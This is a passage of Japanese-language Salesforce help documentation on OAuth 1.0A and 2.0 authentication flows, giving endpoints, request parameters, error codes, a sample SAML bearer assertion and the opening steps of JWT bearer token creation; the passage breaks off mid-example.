Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

ユーザが外部アプリケーション (コンシューマのページ) から Salesforce データを
要求すると、Salesforce はユーザを認証します。認証フローには複数のステップ
があり、このステップは、OAuth 標準、およびSalesforceへのアクセスを試みてい
るユーザによって決まります。

OAuth 認証の概要
Salesforce では、OAuth 1.0A および 2.0 の認証フローがサポートされています。
OAuth 1.0.A 認証フロー
OAuth 1.0.A には、認証フローが 1 つあります。
OAuth 1.0.A のエラーコード
OAuth 1.0.A 認証フロー中にエラーが発生すると、Salesforce はエラーコードを
返します。
OAuth 2.0 SAML ベアラーアサーションフロー
SAML アサーションは、ID プロバイダが提供し、サービスプロバイダが使用す
る XML セキュリティトークンです。サービスプロバイダは、セキュリティ関
連の目的でその内容を使用してアサーションの件名を識別します。
OAuth 2.0 JWT べアラートークンフロー
JSON Web トークン (JWT) は、JSON ベースのセキュリティトークンエンコードで、ID とセキュリティ情報をセ
キュリティドメインで共有できるようにします。
OAuth 2.0 更新トークンフロー
OAuth 2.0 更新トークンフローの目的は、Web サーバまたはユーザエージェントフローによって発行された
トークンを更新することです。
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OAuth 2.0 Web サーバ認証フロー
Web サーバ認証フローは、安全なサーバでホストされているアプリケーションで使用されます。Web サー
バフローでの重要な点は、サーバがコンシューマの秘密を保護できる必要があるということです。また、
コード確認を使用し、フロー内の値を検証して、認証コードの傍受を防ぐことができます。
OAuth 2.0 ユーザ名パスワードフロー
コンシューマにすでにユーザのログイン情報がある場合、ユーザ名パスワード認証フローを使用して認証
します。
OAuth 2.0 ユーザエージェントフロー
ユーザは、OAuth 2.0 ユーザエージェント認証フローを使用して、デスクトップまたはモバイルアプリケー
ションがユーザのデータにアクセスすることを承認します。デバイスまたはブラウザで実行されるクライ
アントアプリケーションは、このフローを使用してアクセストークンを取得します。
OAuth 2.0 デバイス認証フロー
通常、TV、アプライアンス、コマンドラインアプリケーションなど、入力機能や表示機能が制限されたデ
バイスのアプリケーションでデバイス認証フローを使用します。ユーザは、より発展した入力機能を持つ
独立したデバイス (デスクトップコンピュータ、スマートフォンなど) のブラウザにアクセスすることで、
このクライアントアプリケーションを Salesforce に接続できます。
OAuth 2.0 アセットトークンフロー
OAuth 2.0 アセットトークンフローは、クライアントアプリケーションが接続デバイス用のアセットトーク
ンをSalesforceに要求するために使用します。このフローでは、OAuth アクセストークンおよびアクタートー
クンがアセットトークンと交換されます。このフローは、アセットトークンの発行とアセットの登録を組
み合わせているため、トークン交換の効率が良く、デバイスと Service Cloud アセットデータが自動的にリン
クします。
SAML アサーションフロー
SAML アサーションフローは、現在 SAML を使用して Salesforce にアクセスしていて、同じ方法で Web サービ
スの API にアクセスする必要のある組織にとって、代替フローとなります。SAML アサーションフローは単
一の組織内でのみ使用できます。このアサーションフローを使用するために接続アプリケーションを作成
する必要はありません。クライアントはこのアサーションフローを使用して、Web シングルサインオン用
に Salesforce を統合する場合と同じ方法で、SAML アサーションを使用して API を統合できます。
範囲パラメータの値
scope パラメータでは、要求しているトークンに関連付けられる権限を細かく設定できます。範囲は、接
続アプリケーションの定義時に指定した値のサブセットです。
OAuth トークンの取り消し
Salesforce データにクライアントアプリケーションがアクセスできないようにする場合、またはクライアン
トアプリケーションを信頼できないためにアクセスを単独で停止する場合は、OAuth トークンを取り消しま
す。
アクセストークンの使用
アクセストークンは、HTTP 認証ヘッダー (REST API または ID URL) または SessionHeader SOAP 認証ヘッダー (SOAP

API) で使用できます。
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ID トークンの取得および確認
ID トークンは、ユーザの一意の識別子、トークンがいつ発行されたかなど、認証済みユーザの属性が含ま
れる署名済みデータ構造です。ID トークンによって要求元のクライアントアプリケーションも識別されま
す。ID トークンは OpenID Connect によって定義されます。
ID URL

ID URL はユーザを一意に識別する文字列です。これは、ユーザ情報をクエリするために使用する REST API で
もあります。
UserInfo エンドポイント
OpenID Connect は、ユーザのプロファイル情報を取得するための UserInfo エンドポイントを定義します。
OpenID Connect 検出エンドポイント
OpenID Connect 検出エンドポイントを使用して Salesforce OpenID Connect 設定に関する情報をクエリします。
認証設定エンドポイント
認証設定エンドポイントは、シングルサインオンおよび認証プロバイダ設定での組織の SAML に関する情報
をクエリするために使用できる静的ページです。セッションは不要です。Salesforce のコミュニティまたは
カスタムドメインでのみ使用できます。オンデマンドでこうした情報を必要とするアプリケーションを開
発するときに、この URL を使用します。

OAuth 認証の概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

Salesforce では、OAuth 1.0A および 2.0 の認証フローがサポートされています。
• OAuth 1.0.A — この OAuth バージョンには 1 つのフローがあります。
• OAuth 2.0 Web サーバ — 安全なサーバでホストされているアプリケーションで

は、Web サーバ認証フローを使用します。Web サーバフローでの重要な点は、
サーバがコンシューマの秘密を保護できる必要があるということです。ま
た、コード確認を使用し、フロー内の値を検証して、認証コードの傍受を防
ぐことができます。

• OAuth 2.0 ユーザエージェント — ユーザのデバイスまたはコンピュータにある
クライアントアプリケーション (コンシューマ) では、ユーザエージェント認
証フローを使用します。JavaScript などのスクリプト言語を使用してブラウザ
内で実行されるクライアントアプリケーションでも、この認証フローを使用
します。これらのアプリケーションはユーザごとの秘密を保護できます。た
だし、アプリケーションが広範囲にわたって配布されるため、クライアント
の秘密を保持できません。

• OAuth 2.0 更新トークンフロー — コンシューマがアクセスを認証されたら、更
新トークンを使用して新しいアクセストークン (セッション ID) を取得できま
す。このプロセスは、コンシューマが Web サーバフローまたはユーザエージェントフローのいずれかを使
用して更新トークンを受信した場合にのみ実行できます。

• OAuth 2.0 JWT ベアラートークンフロー —  OAuth 2.0 JWT ベアラートークンフローは、クライアントが前の認
証の使用を希望している場合に、JWT を使用してSalesforceに OAuth アクセストークンを要求する方法を定義
します。認定済みのアプリケーションの認証は JWT に適用されているデジタル署名で提供されます。

• OAuth 2.0デバイス認証フロー — 通常、TV、アプライアンス、コマンドラインアプリケーションなど、入力
機能や表示機能が制限されたデバイス上のアプリケーションでは、デバイス認証フローを使用します。ユー
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ザは、より発展した入力機能を持つ独立したデバイス (デスクトップコンピュータ、スマートフォンなど)

のブラウザにアクセスすることで、このクライアントアプリケーションを Salesforce に接続できます。
• OAuth 2.0 アセットトークンフロー — OAuth 2.0 アセットトークンフローは、クライアントアプリケーション

が接続デバイス用のアセットトークンをSalesforceに要求するために使用します。このフローでは、OAuth ア
クセストークンおよびアクタートークンがアセットトークンと交換されます。このフローは、アセットトー
クンの発行とアセットの登録を組み合わせているため、トークン交換の効率が良く、デバイスと Service Cloud

アセットデータが自動的にリンクします。
• OAuth 2.0 SAML ベアラーアサーションフロー — OAuth 2.0 SAML ベアラーアサーションフローは、クライアン

トが前の認証の使用を希望している場合に、SAML アサーションを使用して OAuth アクセストークンを要求
する方法を定義します。認定済みのアプリケーションの認証は SAML アサーションに適用されているデジタ
ル署名で提供されます。

• SAML アサーションフロー — SAML アサーションフローは、現在 SAML を使用して Salesforceにアクセスしてい
て、同じ方法で Web サービスのAPIにアクセスする必要のある組織にとって、代替フローとなります。SAML

アサーションフローは単一の組織内でのみ使用できます。このアサーションフローを使用するために接続
アプリケーションを作成する必要はありません。

• OAuth 2.0 ユーザ名およびパスワード — コンシューマにすでにユーザのログイン情報がある場合、ユーザ名
パスワード認証フローを使用して認証します。

警告: この OAuth 認証フローでは、ユーザのログイン情報がやりとりされます。この認証フローは、必
要な場合にのみ使用してください。更新トークンは発行されません。

すべての認証フローでは、ユーザがアクセスの認証を求められたときに、ユーザが現在署名されていないこと
を示すリンクをクリックすると、現在のユーザはログアウトされ、認証フローはユーザの認証を再開します。

メモ: たとえば、ラップトップコンピュータとデスクトップコンピュータ用など、ユーザは 1 つのアプリ
ケーションを認証し、Salesforce に複数回アクセスできます。デフォルトの認証制限は、1 ユーザの 1 アプ
リケーションあたり 5 です。組織の制限に達した後に、アプリケーションへのアクセス権をユーザに付与
しようとすると、最も長い時間使用されていないアクセストークンが取り消されます。ユーザにアクセ
ス権がいったん付与されると、追加デバイスに対して、Web サーバフローを使用する新しい OAuth 2.0 ア
プリケーションが許可されます。ユーザエージェントフローでは、ユーザの承認が毎回必要です。

OAuth 2.0 エンドポイント
OAuth 2.0 で使用する 3 つの主なエンドポイントは、次のとおりです。
• 認証 — https://yourDomain.my.salesforce.com/services/oauth2/authorize

• トークン — https://yourDomain.my.salesforce.com/services/oauth2/token

• 取り消し — https://yourDomain.my.salesforce.com/services/oauth2/revoke

アクセスの取り消しについては、「OAuth トークンの取り消し」 (ページ 6801)を参照してください。
Sandbox には、yourDomain.salesforce.com ではなく test.salesforce.com を使用してください。
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OAuth 1.0.A 認証フロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

OAuth 1.0.A には、認証フローが 1 つあります。
1. コンシューマがアクセストークンを要求します。Salesforce は要求を確認し、

要求トークンを返します。
2. コンシューマはユーザをSalesforceにリダイレクトし、そこでログインのプロ

ンプトが表示されます。
3. Salesforce はユーザを認証します。
4. ユーザが認証されると、コンシューマはアクセストークンを要求します。
5. Salesforce は要求を確認し、トークンを許可します。
6. トークンが許可されると、コンシューマはアプリケーションまたはForce.com

Web サービス API からデータにアクセスします。
7. Salesforce は要求を確認し、データへのアクセスを許可します。

ヒント: Sandbox で接続アプリケーションを使用するには、次のセクション
で login.salesforce.comの代わりに test.salesforce.comを使用し
ます。
Salesforceから返される可能性のあるエラーコードのリストは、「OAuth 1.0.A

のエラーコード」 (ページ 6762)を参照してください。

RequestToken の要求
コンシューマが Salesforce に対する最初の要求を行い、その要求が有効な場合は RequestToken が返されます。次
のステップでは、接続アプリケーションを使用して Salesforce データを要求する開発者向けに詳細に説明しま
す。
1. Salesforce データへのアクセスが必要となったコンシューマアプリケーションが要求を

https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler

に送信します。要求には、次の情報が含まれます。
• 次の OAuth パラメータが含まれた RequestToken に対する有効な要求。

– oauth_consumer_key

– oauth_signature_method  — HMAC-SHA1 とします
– oauth_signature

– oauth_timestamp

– oauth_nonce

– oauth_version  — 任意。含めるのであれば "1.0" とします。
– oauth_callback  — 次のどちらかとします。

• コンシューマがホストしている URL、たとえば、
https://www.appirio.com/sfdc_accounts/access_token_ready.html。この URL では
HTTPS または他のプロトコルを使用します。HTTP は使用できません。

• oob。帯域外を意味します。
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• HMAC-SHA1 に対する OAuth 仕様に従って作成した署名 (ページ 6760)。

2. Salesforce が要求を受信した後、Salesforce では次の処理が行われます。
• コンシューマの秘密の独自のコピーによる要求の検証
• 応答 (RequestToken と RequestTokenSecret を名前/値のペアの形式で HTTP 本文に含む) の生成
• コンシューマへの応答の返送
RequestToken は 15 分＋ 3 分間 (マシンクロック間の違いに対応するための時間) 有効です。

3. コンシューマは、次のセクションで説明するように、ユーザを Salesforce ログインページへと導きます。

ユーザの認証
コンシューマからSalesforceへの要求が行われた後、Salesforceは処理を続行する前にユーザを認証する必要があ
ります。接続アプリケーションを使用してSalesforceデータを要求する開発者向けに、ログイン手順の詳細なス
テップを次に示します。
1. コンシューマがユーザを

https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp にリダ
イレクトし、そこでユーザはログインを要求されます。該当する GET クエリパラメータがこの URL に追加さ
れます。
• oauth_token  (RequestToken)

• oauth_consumer_key

メモ: oauth_callback パラメータが含まれている場合、無視されます。

2. [リモートアクセス認証] ページが表示されます。
3. ユーザがコンシューマにアクセスを許可すると、Salesforce は AccessToken と AccessTokenSecret を生成します。

メモ: ユーザがアプリケーションに付与できる同時アクセストークン数は制限されています。デフォ
ルトの制限は 1 ユーザの 1 アプリケーションあたり 5 です。この認証が組織の制限を超えた場合、ユー
ザに通知され、最も使用されていないトークンが取り消されます。

4. Salesforceでコールバック URL (接続アプリケーション定義ページか、前のステージの oauth_callbackパラ
メータのいずれかで指定されたもの) を確認します。リダイレクトが実行されます。
• RequestToken で定義されている oauth_callback が oob で、接続アプリケーション定義ページの [コー

ルバック URL] 項目に有効な値があれば、ユーザはその URL にリダイレクトされます。
• RequestToken で定義されている oauth_callback が有効な URL であれば、ユーザはその URL にリダイレ

クトされます。

5. AccessToken と AccessTokenSecret が使用できることをコンシューマに通知します。コンシューマは Salesforce か
ら確認トークンを受信するか、エンドユーザから検証コードを受信します。

AccessToken の要求
ユーザが認証されると、コンシューマは RequestToken を AccessToken と交換できます。接続アプリケーションを
使用して Salesforce データを要求する開発者向けに、このプロセスにはトークンの交換が含まれます。
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1. コンシューマは、次の必要なパラメータをクエリまたはポストデータに指定して、
https://login.salesforce.com/_nc_external/system/security/oauth/AccessTokenHandler

に HTTPS GET 要求または HTTPS POST 要求を行います。
• oauth_consumer_key

• oauth_signature_method

• oauth_signature

• oauth_timestamp

• oauth_token

• oauth_nonce

• oauth_verifier

• oauth_version  (省略可能。含めるのであれば "1.0")

2. Salesforce は、次の要素を検証します。
• コンシューマの秘密
• コンシューマ鍵
• 署名
• RequestToken が以前に使用されたかどうか
• タイムスタンプ (15 分＋ 3 分 (マシンクロック間の違いに対応するための時間) 以内であること)

• nonce が以前に使用されたかどうか

3. 検証すると、Salesforce は AccessToken と AccessTokenSecret を名前/値のペアの形式で HTTP レスポンスボディに
入れて返します。

ログインの oauth_signature の生成

ユーザインターフェース、または API を使用して、Salesforce にアクセスできます。ログインに使用される
oauth_signature は、使用するメソッドによって個別に生成されます。
• ユーザインターフェース — 署名生成に https://login.salesforce.com を使用
• API — 署名生成に https://login.salesforce.com/services/OAuth/type/api-version を使用

type  — 次の値のいずれかとします。
– u  — Partner WSDL

– c  — Enterprise WSDL

たとえば、https://login.salesforce.com/services/OAuth/u/17.0 となります。

コンシューマアプリケーションを使用した Salesforce データへのアクセス
有効なアクセストークンをコンシューマが入手すると、接続アプリケーションではSalesforceデータへのアクセ
スを要求できます。接続アプリケーションを使用してSalesforceデータを要求する開発者向けに、次にプロセス
を示します。
1. コンシューマは、https://login.salesforce.comに HTTPS POST 要求を行います。そのとき、次に示す、

必要なパラメータを認証ヘッダーに指定します。
• oauth_consumer_key
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• oauth_token

• oauth_signature_method

• oauth_signature

• oauth_timestamp

• oauth_nonce

• oauth_version  — (任意。含めるのであれば "1.0")

2. Salesforce は要求を検証し、有効なセッション ID をコンシューマに送信します。セッション ID は存続期間が
短く、frontdoor.jsp に対してのみ有効です。直接使用可能なセッション ID を取得するには、API アクセストー
クンの交換を使用します。

API を使った Salesforce データへのアクセス
コンシューマが有効なアクセストークンを入手すると、接続アプリケーションでは Force.com Web サービス API

を使用して Salesforce データへのアクセスを要求できます。

メモ: 組織には、API と接続アプリケーションへのアクセス権が必要です。詳細は、Salesforce の担当者に
お問い合わせください。

接続アプリケーションを使用してSalesforceデータを要求する開発者向けに、データアクセスの詳しいステップ
を次に説明します。
1. コンシューマは、Salesforce に HTTPS POST 要求を行います。

• URL の形式は、https://login.salesforce.com/services/OAuth/type/api-version とします。
type  — 次の値のいずれかとします。
– u  — Partner WSDL

– c  — Enterprise WSDL

api-version  - 有効な API バージョン。
• 認証ヘッダーには、次のパラメータが必要です。

– oauth_consumer_key

– oauth_token

– oauth_signature_method

– oauth_signature

– oauth_timestamp

– oauth_nonce

– oauth_version  — (任意。含めるのであれば "1.0")

2. Salesforce は要求を検証し、有効なセッション ID をコンシューマに送信します。応答ヘッダーの内容は次の
ようになります。
<response>

<metadataServerUrl>https://yourInstance.salesforce.com/services/Soap/m/17.0/00D300000006qjK

</metadataServerUrl>
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<sandbox>false</sandbox>
<serverUrl>https://yourInstance.salesforce.com/services/Soap/u/17.0/00D300000006qjK

</serverUrl>
<sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq

GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId>
</response>

関連トピック:

OAuth によるアプリケーションの認証

OAuth 1.0.A のエラーコード
OAuth 1.0.A 認証フロー中にエラーが発生すると、Salesforce はエラーコードを返します。

メモエラー障害コード

nonce は一度しか使用できません。失敗: nonce の再実行が検出されました。1701

失敗: コンシューマ鍵パラメータがありません。1702

失敗: アクセストークンが無効です。1703

oauth_version パラメータの必要なバージョ
ンは 1.0 です。

失敗: サポートされていないバージョンです。1704

タイムスタンプがない、将来の値となってい
る、古すぎる、または不正である可能性があり
ます。

失敗: タイムスタンプが無効です。1705

nonce がありません。失敗: nonce が無効です。1706

失敗: OAuth トークンパラメータがありません。1707

失敗: IP アドレスが許可されていません。1708

RequestToken に無効な
oauth_signature_methodパラメータが含ま
れています。

失敗: 署名メソッドが無効です。1709

RequestToken に無効な oauth_callback パラ
メータが含まれています。値は oobまたは https

を使用する有効な URL である必要があります。

失敗: コールバック URL が無効です。1710

AccessToken に無効な oauth_verifierパラメー
タが含まれています。

失敗: 検証が無効です。1711

RequestToken と AccessToken の交換は 3 回まで試行
できます。

失敗: アクセストークンの取得制限数を超えま
した。

1712
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メモエラー障害コード

リモートアクセスアプリケーションが Salesforce

組織から削除されました。
失敗: コンシューマが削除されました。1713

組織の Force.com Web サービス API が有効でない
か、組織の OAuth API アクセスが無効化されてい
ます。

失敗: OAuth API アクセスが無効です。1716

OAuth 2.0 SAML ベアラーアサーションフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

SAML アサーションは、ID プロバイダが提供し、サービスプロバイダが使用する
XML セキュリティトークンです。サービスプロバイダは、セキュリティ関連の
目的でその内容を使用してアサーションの件名を識別します。
OAuth 2.0 SAML ベアラーアサーションフローは、クライアントが前の認証の使用
を希望する場合に、SAML アサーションを使用して OAuth アクセストークンを要
求する方法を定義します。認定済みのアプリケーションの認証は SAML アサー
ションに適用されているデジタル署名で提供されます。
詳細は、http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer

を参照してください。

OAuth 2.0 SAML ベアラーアサーションフロー
OAuth 2.0 SAML ベアラーアサーションフローは、OAuth 内の更新トークンのフロー
に似ています。SAML アサーションは OAuth トークンエンドポイントに POST され
ます。その結果、アサーションを処理し、アプリケーションの前の承認に基づ
いて access_token を発行します。ただし、クライアントは refresh_token

を使用または保存する必要はなく、client_secretをトークンエンドポイント
に渡す必要もありません。
次は、OAuth 2.0 SAML べアラーアサーションフローの使用の一般的な手順です。
1. 開発者が接続アプリケーションを作成し、X509 証明書を登録します。この証明書はアプリケーションの非

公開鍵に対応しています。接続アプリケーションを保存すると、コンシューマ鍵 (OAuth client_id) が生
成され、アプリケーションに割り当てられます。

2. 開発者は SAML アサーションを生成するアプリケーションを作成し、非公開鍵を使用してアプリケーション
に署名します。

3. SAML ベアラーアサーションはトークンエンドポイント
https://login.salesforce.com/services/oauth2/token に POST されます。

4. トークンエンドポイントは、開発者が登録した証明書を使用して署名を検証します。
5. トークンエンドポイントはアサーションの利用者、発行者、件名、および有効性を検証します。
6. Salesforce は、アサーションが有効であり、ユーザまたはシステム管理者がアプリケーションを以前に承認

しているということを前提として、アクセストークンを発行します。

メモ: このフローでは、refresh_token が発行されることはありません。
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SAML ベアラーアサーションの作成
開発者は次のルールに従って有効な SAML ベアラーアサーションを作成する必要があります。
• Issuer は OAuth client_id または開発者が証明書を登録した接続アプリケーションである必要がある。
• Audienceは https://login.salesforce.comまたは https://test.salesforce.comである必要が

ある。
• Recipient は https://login.salesforce.com/services/oauth2/token または

https://test.salesforce.com/services/oauth2/token である必要がある。
• Subject NameID は目的の Salesforce ユーザのユーザ名である必要がある。
• アサーションは、RSA および SHA-1 または SHA-256 のいずれかを使用して、XML 署名仕様に従って署名する

必要がある。
• SAML アサーションはhttp://tools.ietf.org/html/draft-ietf-oauth-saml2-bearerで規定されて

いる一般的な形式に準拠する必要がある。
• トークンエンドポイントに POST する場合は、http://tools.ietf.org/html/rfc4648#page-7の定義

に従って base64url エンコードを使用してアサーションをエンコードする必要がある。
アサーションの例を次に示します。
<?xml version="1.0" encoding="UTF-8"?>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_cd3649b3639560458bc9d9b33dfee8d21378409114655" IssueInstant="2013-09-05T19:25:14.654Z"
Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"

xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">3MVG9PhR6g6B7ps45QoRvhVGGMmR_DT4kxXzVXOo6TTHF3QO1nmqOAstC92
4qSUiUeEDcuGV4tmAxyo_fV8j</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_cd3649b3639560458bc9d9b33dfee8d21378409114655">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform

Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces
xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="ds saml"/>

</ds:Transform>
</ds:Transforms>

<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>N8DxylbIeNg8JDO87WIqXGkoIWA=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>

XV0lFJrkhJykGYQbIs0JBFEHdt4pe2gBgitcXrscNVX2hKGpwQ+WqjF8EKrqV4Q3/Q4KglrXl/6s
xJr6WOmxWtIQC4oWhSvVyfag34zQoecZeunEdFSMlnvPtqBVzJu9hJjy/QDqDWfMeWvF9S50Azd0
EhJxz/Ly1i28o4aCXQQ=

</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>

MIICOzCCAaSgAwIBAgIGAR7RRteKMA0GCSqGSIb3DQEBBQUAMGExCzAJBgNVBAYTAlVTMQswCQYD
VQQIEwJDQTEWMBQGA1UEBxMNU2FuIEZyYW5jaXNjbzENMAsGA1UEChMEUEFDUzENMAsGA1UECxME
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</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>

</ds:Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">test@example.org</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"

xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:SubjectConfirmationData NotOnOrAfter="2013-09-05T19:30:14.654Z"

Recipient="https://login.salesforce.com/services/oauth2/token"/>
</saml:SubjectConfirmation>

</saml:Subject>
<saml:Conditions NotBefore="2013-09-05T19:25:14.654Z" NotOnOrAfter="2013-09-05T19:30:14.654Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Audience>https://login.salesforce.com/services/oauth2/token</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2013-09-05T19:25:14.655Z"

xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">

<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>

</saml:AuthnContext>
</saml:AuthnStatement>

</saml:Assertion>

SAML べアラーアサーションの使用
SAML ベアラーアサーションを、https://login.salesforce.com/services/oauth2/token または
https://test.salesforce.com/services/oauth2/token にあるトークンエンドポイントに POST しま
す。
POST するときは、次のパラメータを指定する必要があります。
• grant_type: urn:ietf:params:oauth:grant-type:saml2-bearer  — 必須。
• assertion: http://tools.ietf.org/html/rfc4648#page-7 の定義に従って base64url を使用してエン

コードされた SAML べアラーアサーション — 必須。
追加の標準パラメータ:

• format  — 応答の形式は、token パラメータを使用して OAuth フローとして指定するか、HTTP Accept ヘッ
ダーとして指定できます。
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• scope  — 範囲はフローではサポートされていません。このパラメーターの値は、前の承認の範囲の組み合
わせです。

トークン要求のサンプル:

POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
Content-Type: application/x-www-form-urlencoded

grant_type=
urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Asaml2-bearer&assertion=PHNhbWxwOl...[omitted
for brevity]...ZT

サーバによる応答の送信
要求の確認後、Salesforceからクライアントに応答が送信されます。OAuth 2.0 SAML べアラートークンのトークン
応答は、authorization_code フローと同じ形式に従っていますが、refresh_token が発行されることは
ありません。

メモ:  SAML OAuth 2.0 べアラーアサーション要求は、refresh_token を含むユーザの前のすべての承認を
確認します。一致する承認が複数見つかった場合は、承認された範囲の値を組み合わせて access_token

が発行されます ("token_type" の値は "Bearer")。 以前に refresh_token を含む承認がなかった場
合は、承認された範囲は使用できません。また、要求は未認証として失敗します。

エラー
SAML べアラーアサーションの処理にエラーがある場合、サーバは、トークンを無効とみなした理由と共に標
準の OAuth エラー応答を返します。次にエラー応答の例を示します。
HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store
{
"error":"invalid_grant",
"error_description":"Audience validation failed"

}

関連トピック:

OAuth によるアプリケーションの認証
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OAuth 2.0 JWT べアラートークンフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

JSON Web トークン (JWT) は、JSON ベースのセキュリティトークンエンコードで、
ID とセキュリティ情報をセキュリティドメインで共有できるようにします。
OAuth 2.0 JWT ベアラートークンフローは、クライアントが前の認証の使用を希望
する場合に、JWT を使用して Salesforceに OAuth アクセストークンを要求する方法
を定義します。認定済みのアプリケーションの認証は JWT に適用されているデ
ジタル署名で提供されます。
詳細は、以下を参照してください。
• http://tools.ietf.org/html/draft-ietf-oauth-jwt-bearer

• http://tools.ietf.org/html/draft-jones-json-web-token

OAuth 2.0 JWT べアラートークンフロー
OAuth 2.0 JWT ベアラートークンフローは、OAuth 内の更新トークンのフローに似
ています。JWT は OAuth トークンエンドポイントに POST されます。その結果、
JWT を処理し、アプリケーションの前の承認に基づいて access_token を発行
します。ただし、クライアントは refresh_token を使用または保存する必要
はなく、client_secret をトークンエンドポイントに渡す必要もありません。
JWT ベアラーフローでは、アップロードされた証明書を署名の秘密として使用する RSA SHA256 アルゴリズムを
サポートしています。
OAuth 2.0 JWT ベアラートークンフローの一般的な手順は、次のとおりです。
1. 開発者は接続アプリケーションを作成するか既存のものを使用し、必要に応じて X509 証明書を登録できま

す。この証明書はアプリケーションの非公開鍵に対応しています。接続アプリケーションを保存すると、
コンシューマ鍵 (OAuth client_id) とコンシューマの秘密が生成され、アプリケーションに割り当てられ
ます。

2. 開発者は JWT を生成するアプリケーションを作成し、証明書を使用してアプリケーションに署名します。
3. JWT はトークンエンドポイント https://login.salesforce.com/services/oauth2/token に POST さ

れるか、コミュニティに実装する場合は https://acme.force.com/customers/services/oauth2/token

(acme.force.com/customers はコミュニティ URL) に POST されます。
4. トークンエンドポイントは、開発者が登録した証明書を使用して署名を検証します。
5. トークンエンドポイントは JWT の利用者 (aud)、発行者 (iss)、有効性 (exp)、件名 (sub) を検証します。
6. Salesforceは、JWT が有効であり、ユーザまたはシステム管理者がアプリケーションを以前に承認していると

いうことを前提として、access_token を発行します。

メモ: このフローでは、refresh_token が発行されることはありません。

JWT ベアラートークンの作成
開発者は、次のルールに従って RSA SHA256 に準拠する有効な JWT ベアラートークンを作成する必要がありま
す。
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• 発行者 (iss) は OAuth client_id または開発者が証明書を登録した接続アプリケーションである必要があ
る。

• 利用者 (aud) は https://login.salesforce.com または https://test.salesforce.com であるか、
コミュニティに実装する場合は https://acme.force.com/customers  (acme.force.com/customers

はコミュニティ URL) である必要がある。
• 件名 (sub) は目的の Salesforce ユーザのユーザ名であるか、コミュニティに実装する場合は Salesforce コミュ

ニティユーザである必要がある。後方互換性のために、ユーザは件名 (sub) の代わりに主要 (prn) を使用す
ることもできます。両方が指定されている場合、prn が使用されます。

• 有効性 (exp) は 5 分以内のアサーションの有効時間である必要がある (UTC で測定された 1970-01-01T0:0:0Z か
らの秒数として表記)。

• JWT は RSA SHA256 を使用して署名されている必要がある。
• JWT はhttp://tools.ietf.org/html/draft-jones-json-web-tokenで規定されている一般的な形式

に準拠する必要がある。
JWT ベアラートークンを作成する手順は次のとおりです。
1. JWT ヘッダーを次の形式で作成します。{"alg":"RS256"}

2. http://tools.ietf.org/html/rfc4648#page-7の定義に従って JWT ヘッダーを Base64url エンコードし
ます。結果は eyJhbGciOiJSUzI1NiJ9 と類似しています。

3. iss、sub、aud、exp を使用して、JWT の JSON 要求セットを作成します。
{"iss": "3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQ
ukXnVjzRgSuQqGn75NL7yfkQcyy7",
"sub": "my@email.com",
"aud": "https://login.salesforce.com",
"exp": "1333685628"}

